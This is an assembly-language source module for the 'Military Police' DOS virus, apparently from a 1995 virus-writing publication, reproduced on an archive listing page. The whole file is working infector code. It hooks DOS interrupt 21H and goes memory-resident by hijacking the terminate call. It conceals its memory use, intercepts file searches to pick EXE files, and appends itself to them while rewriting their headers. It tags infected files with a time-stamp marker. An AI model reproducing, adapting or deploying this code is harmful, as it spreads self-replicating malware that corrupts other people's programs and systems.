home *** CD-ROM | disk | FTP | other *** search
- ;INT21H.ASM--This module works with the MPOLICE virus.
-
- ;(C) 1995 American Eagle Publications, Inc. All Rights Reserved!
-
- ;*******************************************************************************
- ;This is the interrupt 21H hook used by the Military Police Virus
- ;*******************************************************************************
-
- LOWMEM DB 0 ;flag to indicate in low memory already
- EXE_HDR DB 1CH dup (?) ;buffer for EXE file header
- FNAME DB 12 dup (0)
- FSIZE DW 0,0
- LOAD_TIME DD ? ;startup time of virus
-
- ;The following 10 bytes must stay together because they are an image of 10
- ;bytes from the EXE header
- HOSTS DW 0,STACKSIZE ;host stack and code segments
- FILLER DW ? ;these are dynamically set by the virus
- HOSTC DD 0 ;but hard-coded in the 1st generation
- OLD_21H DD ? ;old interrupt 21H vector
-
- INT_21H:
- cmp ax,4C00H ;standard DOS terminate program?
- jne I21_1 ;nope, try next function
- cmp cs:[LOWMEM],0 ;already in low memory?
- je GO_LOW ;nope, go to low memory
- I21_1: cmp ah,11H ;DOS Search First Function
- jne I21_2 ;no, try search next
- jmp SRCH_HOOK_START ;yes, go execute hook
- I21_2: cmp ah,12H ;Search next?
- jne I21_3 ;no, continue
- jmp SRCH_HOOK ;yes, go execute hook
- I21_3:
- I21R: jmp DWORD PTR cs:[OLD_21H] ;jump to old handler for now
-
- ;*******************************************************************************
- ;This routine moves the virus to low memory by turning an INT 21H, Fctn 4C00H
- ;into an INT 21H, Fctn 3100H TSR call, only the virus takes over the memory
- ;being relinquished by the program.
- GO_LOW:
- mov cs:[LOWMEM],1 ;set flag to say this was done
- mov ah,62H ;get PSP of process
- int 21H ;requesting to terminate
- add bx,10H ;adjust for PSP
- sub bx,7C0H-32*(VIR_SIZE+1) ;adjust for virus starting offset
- mov es,bx ;and put it here
- push cs
- pop ds ;ds=cs
- mov si,OFFSET BBS ;move virus to the PSP
- mov di,si
- mov cx,512*(VIR_SIZE+2)
- rep movsb
-
- xor ax,ax
- mov ds,ax ;ds=0
- mov bx,21H*4 ;examine INT 21H vector
- cmp [bx],OFFSET INT_21H ;is it up here?
- jne FIND21H ;nope, it's been changed
- mov ax,cs ;so we'd better look for it
- cmp [bx+2],ax
- je SET21H ;else go change it in int tbl
- FIND21H:push es
- mov es,[bx+2] ;didn't find vector--look for
- pop ds ;ds=new segment now
- mov di,0 ;it under another hook
- mov cx,7FFEH
- cld
- F21L: mov ax,OFFSET INT_21H ;search for cs:OFFSET INT_21H
- repnz scasw ;in this segment
- jnz ABORT_GO_LOW ;not found, don't go resident
- mov ax,cs ;ok, found OFFSET INT_21H
- add di,2 ;so check for proper cs
- dec cx
- cmp es:[di],ax ;is it there??
- jne F21L ;no, continue looking
- mov ax,ds ;yes, found it
- mov es:[di],ax ;replace it with new cs
-
- SET21H: mov [bx+2],es ;change int 21H vector
-
- SET13H:
- mov ah,13H ;move interrupt 13H vector
- push es ;to new segment
- pop ds ;ds=es
- mov dx,OFFSET INT_13H ;using this secret little call!
- mov bx,dx
- int 2FH
-
- xor ax,ax ;adjust memory size from BIOS
- mov ds,ax ;back to normal
- add WORD PTR [MEMSIZE],(VIR_SIZE+3)/2
-
- SETUP_MCB: ;now adjust the Z block of memory
- mov ah,52H ;get list of lists @ in es:bx
- int 21H
- mov dx,es:[bx-2] ;get first MCB segment in ax
- xor bx,bx ;now find the Z block
- mov es,dx ;set es=MCB segment
- FINDZ: cmp BYTE PTR es:[bx],'Z'
- je FOUNDZ ;got it
- mov dx,es ;nope, go to next in chain
- inc dx
- add dx,es:[bx+3]
- mov es,dx
- jmp FINDZ
- FOUNDZ: add WORD PTR es:[bx+3],64*((VIR_SIZE+3)/2) ;adjust size
-
- mov ax,3100H
- mov dx,10H + 32*(VIR_SIZE+2) ;memory to keep (enough for virus)
- GLX: jmp DWORD PTR cs:[OLD_21H] ;let DOS do the TSR now
-
- ABORT_GO_LOW:
- mov ax,4C00H ;do a normal dos terminate
- jmp GLX
-
- ;*******************************************************************************
- ;The following is the file search hook, and the EXE file infect routine.
- ;It hooks the FCB-based DOS Search First (11H) and Search Next (12H) routines.
-
- FILE_FND DB 0 ;file found flag 1 = search found something to infect
-
- SRCH_HOOK_START:
- mov cs:[FILE_FND],0
- SRCH_HOOK:
- pushf ;call original int 21H handler
- call DWORD PTR cs:[OLD_21H]
- or al,al ;was it successful?
- jnz SDONE ;nope, exit and do infect, if any, now
- pushf
- cmp cs:[FILE_FND],1 ;already got a file?
- je ESF ;yes, don't look any further
- push ax ;save registers
- push bx
- push cx
- push dx
- push di
- push si
- push es
- push ds
-
- mov ah,2FH ;get dta address in es:bx
- int 21H
- cmp BYTE PTR es:[bx],0FFH
- jne SH1 ;an extended fcb?
- add bx,7 ;yes, adjust index
- SH1: cmp WORD PTR es:[bx+9],'XE'
- jne EXIT_SRCH ;check for an EXE file
- cmp BYTE PTR es:[bx+11],'E'
- jne EXIT_SRCH ;if not EXE, just return control to caller
-
- call FILE_OK ;ok to infect?
- jz EXIT_SRCH ;no, just exit to caller
- call SETUP_DATA ;yes, set up data for later call to INFECT
-
- EXIT_SRCH:
- pop ds
- pop es
- pop si ;restore registers
- pop di
- pop dx
- pop cx
- pop bx
- pop ax
- ESF: popf
- retf 2 ;return to original caller with current flags
-
- ;When we get here, the search is done and we can proceed with the infection,
- ;if a file to infect was found.
- SDONE:
- pushf
- cmp cs:[FILE_FND],1 ;was anything found?
- jne SEXIT ;no, just return to caller
- push ax ;else go infect it
- push bx
- push cx
- push dx
- push ds
- push es
- call INFECT_FILE ;go ahead and infect it
- mov cs:[FILE_FND],0 ;and reset this flag
- pop es
- pop ds
- pop dx
- pop cx
- pop bx
- pop ax
- SEXIT: popf
- retf 2
-
-
- ;This routine sets up all the data which the infect routine will need to
- ;infect the file after the search has completed.
- SETUP_DATA:
- push cs
- pop ds
- mov BYTE PTR [FILE_FND],1 ;set this flag
- push es ;now prep to save the file name
- pop ds
- mov si,bx ;ds:si now points to fcb
- inc si ;now, to file name in fcb
- push cs
- pop es
- mov di,OFFSET FNAME ;es:di points to file name buffer here
- mov cx,8 ;number of bytes in file name
- FO1: lodsb
- stosb
- cmp al,20H
- je FO2
- loop FO1
- inc di
- FO2: mov BYTE PTR es:[di-1],'.'
- mov ax,'XE'
- stosw
- mov ax,'E'
- stosw
- ret
-
-
- ;Function to determine whether the EXE file found by the search routine is
- ;infected. If infected, FILE_OK returns with Z set.
- FILE_OK:
- mov ax,es:[bx+17H] ;get the file time stamp
- add ax,es:[bx+19H] ;add the date stamp to it
- and al,00011111B ;get the seconds/day field
- cmp al,31 ;they should add up to 31
- ret ;if it's infected
-
-
- ;This routine moves the virus (this program) to the end of the EXE file
- ;Basically, it just copies everything here to there, and then goes and
- ;adjusts the EXE file header. It also makes sure the virus starts
- ;on a paragraph boundary, and adds how many bytes are necessary to do that.
- INFECT_FILE:
- push cs
- pop es
- push cs
- pop ds ;now cs, ds and es all point here
- mov dx,OFFSET FNAME
- mov ax,3D02H ;r/w access open file using handle
- int 21H
- jnc IF1_
- jmp OK_END1 ;error opening - C set - quit without closing
- IF1_: mov bx,ax ;put handle into bx and leave bx alone from here on out
- mov cx,1CH ;read 28 byte EXE file header
- mov dx,OFFSET EXE_HDR ;into this buffer
- mov ah,3FH ;for examination and modification
- int 21H
- jc IF2_ ;error in reading the file, so quit
- cmp WORD PTR [EXE_HDR],'ZM';check EXE signature of MZ
- jnz IF2_ ;close & exit if not
- cmp WORD PTR [EXE_HDR+26],0;check overlay number
- jnz IF2_ ;not 0 - exit with c set
- cmp WORD PTR [EXE_HDR+24],40H ;is rel table at offset 40H or more?
- jnc IF2_ ;yes, it is not a DOS EXE, so skip it
- cmp WORD PTR [EXE_HDR+14H],OFFSET START_EXE - OFFSET BBS ;see if initial ip = virus initial ip
- jnz IF3_
- IF2_: jmp OK_END
- IF3_:
- mov ax,4202H ;seek end of file to determine size
- xor cx,cx
- xor dx,dx
- int 21H
- mov [FSIZE],ax ;and save it here
- mov [FSIZE+2],dx
- mov cx,WORD PTR [FSIZE+2] ;adjust file length to paragraph
- mov dx,WORD PTR [FSIZE] ;boundary
- or dl,0FH
- add dx,1
- adc cx,0
- mov WORD PTR [FSIZE+2],cx
- mov WORD PTR [FSIZE],dx
- mov ax,4200H ;set file pointer, relative to beginning
- int 21H ;go to end of file + boundary
-
- mov dx,OFFSET BBS ;ds:dx = start of virus
- mov cx,OFFSET ENDCODE
- sub cx,dx ;cx = bytes to write
- mov ah,40H ;write body of virus to file
- int 21H
-
- mov dx,WORD PTR [FSIZE] ;find relocatables in code
- mov cx,WORD PTR [FSIZE+2] ;original end of file
- add dx,OFFSET HOSTS - OFFSET BBS ; + offset of HOSTS
- adc cx,0 ;cx:dx is that number
- mov ax,4200H ;set file pointer to 1st relocatable
- int 21H
- mov dx,OFFSET EXE_HDR+14 ;get correct host ss:sp, cs:ip
- mov cx,10
- mov ah,40H ;and write it to HOSTS/HOSTC
- int 21H
-
- xor cx,cx ;so now adjust the EXE header values
- xor dx,dx
- mov ax,4200H ;set file pointer to start of file
- int 21H
-
- mov ax,WORD PTR [FSIZE] ;calculate viral initial CS
- mov dx,WORD PTR [FSIZE+2] ; = File size / 16 - Header Size(Para)
- mov cx,16
- div cx ;dx:ax contains file size / 16
- sub ax,WORD PTR [EXE_HDR+8] ;subtract exe header size, in paragraphs
- mov WORD PTR [EXE_HDR+22],ax;save as initial CS
- mov WORD PTR [EXE_HDR+14],ax;save as initial SS
- mov WORD PTR [EXE_HDR+20],OFFSET START_EXE - OFFSET BBS;save initial ip
- mov WORD PTR [EXE_HDR+16],OFFSET ENDCODE - OFFSET BBS + STACKSIZE ;save initial sp
-
- mov dx,WORD PTR [FSIZE+2] ;calculate new file size for header
- mov ax,WORD PTR [FSIZE] ;get original size
- add ax,OFFSET ENDCODE - OFFSET BBS + 200H ;add virus size + 1 paragraph, 512 bytes
- adc dx,0
- mov cx,200H ;divide by paragraph size
- div cx ;ax=paragraphs, dx=last paragraph size
- mov WORD PTR [EXE_HDR+4],ax ;and save paragraphs here
- mov WORD PTR [EXE_HDR+2],dx ;last paragraph size here
- mov cx,1CH ;and save 1CH bytes of header
- mov dx,OFFSET EXE_HDR ;at start of file
- mov ah,40H
- int 21H
-
- OK_END: mov ax,5700H ;get file time/date stamp
- int 21H
- and cl,11100000B ;zero the time seconds
- add cl,31 ;adjust to 31
- mov al,dl
- and al,00011111B ;get days
- sub cl,al ;make al+cl 1st 5 bits add to 31
- mov ax,5701H ;and set new stamp
- int 21H
- mov ah,3EH ;close file now
- int 21H
- OK_END1:ret ;that's it, infection is complete!
-